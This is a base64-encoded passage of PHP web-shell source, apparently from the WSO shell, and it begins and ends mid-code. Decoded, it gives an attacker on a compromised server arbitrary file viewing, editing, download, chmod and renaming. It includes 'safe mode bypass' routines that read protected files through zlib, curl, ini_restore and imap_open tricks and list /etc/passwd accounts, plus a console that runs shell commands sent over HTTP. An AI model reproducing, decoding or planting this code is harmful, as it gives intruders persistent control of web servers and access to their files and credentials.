bnRGb290ZXIoKTsgDQp9IA0KDQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgeyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApIA0KICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsgDQogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyANCiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOyANCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsgDQogICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsgDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IA0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsgDQoNCiAgICAgICAgfSANCiAgICAgICAgZXhpdDsgDQogICAgfSANCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsgDQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcHJpbnRIZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgeyANCiAgICAgICAgZWNobyAnRmlsZSBub3QgZXhpc3RzJzsgDQogICAgICAgIHByaW50Rm9vdGVyKCk7IA0KICAgICAgICByZXR1cm47IA0KICAgIH0gDQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOyANCiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7IA0KICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOyANCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsgDQogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKSANCiAgICAgICAgJF9QT1NUWydwMiddID0gJ3ZpZXcnOyANCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkgDQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgDQogICAgZWxzZSANCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7IA0KICAgIGZvcmVhY2goJG0gYXMgJHYpIA0KICAgICAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOyANCiAgICBlY2hvICc8YnI+PGJyPic7IA0KICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsgDQogICAgICAgIGNhc2UgJ3ZpZXcnOiANCiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6IA0KICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7IA0KICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsgDQogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnY2htb2QnOiANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsgDQogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkgDQogICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7IA0KICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnZWRpdCc6IA0KICAgICAgICAgICAgaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ3AxJ10sJF9QT1NUWydwMyddKTsgDQogICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdoZXhkdW1wJzogDQogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgICAgICRuID0gMDsgDQogICAgICAgICAgICAkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsgDQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsgDQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsgDQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsgDQogICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkbisrOyANCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsgDQogICAgICAgICAgICAgICAgICAgICRuID0gMDsgDQogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9IA0KICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAiXG4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdyZW5hbWUnOiANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ3RvdWNoJzogDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7IA0KICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkgDQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdta2ZpbGUnOiANCiAgICAgICAgICAgICANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCg0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7IA0KICAgICR0ZW1wPScnOyANCiAgICBvYl9zdGFydCgpOyANCiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICBjYXNlIDE6IA0KICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOyANCiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7IA0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsgDQogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsgDQogICAgICAgICAgICB9IGVsc2UgDQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDI6IA0KICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAzOiANCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOyANCiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSA0OiANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsgDQogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7IA0KICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSA1OiANCiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgeyANCiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgIGlmICgkdWlkKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgNjogDQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsgDQogICAgICAgICAgICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsgDQogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7IA0KICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsgDQogICAgICAgICAgICBicmVhazsgDQogICAgfSANCiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICBwcmludEhlYWRlcigpOyANCiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgaWYoJHRlbXApIA0KICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsgDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA0KDQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgeyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOyANCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsgDQogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgeyANCiAgICAgICAgICAgIGlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7IA0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsgDQogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7IA0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOyANCiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7IA0KICAgICAgICBleGl0OyANCiAgICB9IA0KICAgIHByaW50SGVhZGVyKCk7IA0KPz4gDQo8c2NyaXB0PiANCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7IA0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOyANCnZhciBjdXIgPSAwOyANCmZ1bmN0aW9uIGtwKGUpIHsgDQogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7IA0KICAgIGlmKG4gPT0gMzgpIHsgDQogICAgICAgIGN1ci0tOyANCiAgICAgICAgaWYoY3VyPj0wKSANCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsgDQogICAgICAgIGVsc2UgDQogICAgICAgICAgICBjdXIrKzsgDQogICAgfSBlbHNlIGlmKG4gPT0gNDApIHsgDQogICAgICAgIGN1cisrOyANCiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpIA0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOyANCiAgICAgICAgZWxzZSANCiAgICAgICAgICAgIGN1ci0tOyANCiAgICB9IA0KfSANCmZ1bmN0aW9uIGFkZChjbWQpIHsgDQogICAgY21kcy5wb3AoKTsgDQogICAgY21kcy5wdXNoKGNtZCk7IA0KICAgIGNtZHMucHVzaCgiIik7IA0KICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7IA0KfSANCjwvc2NyaXB0PiANCjw/cGhwIA0KICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOyANCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsgDQogICAgICAgIGlmKCR2ID09ICcnKSB7IA0KICAgICAgICAgICAgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOyANCiAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOyAN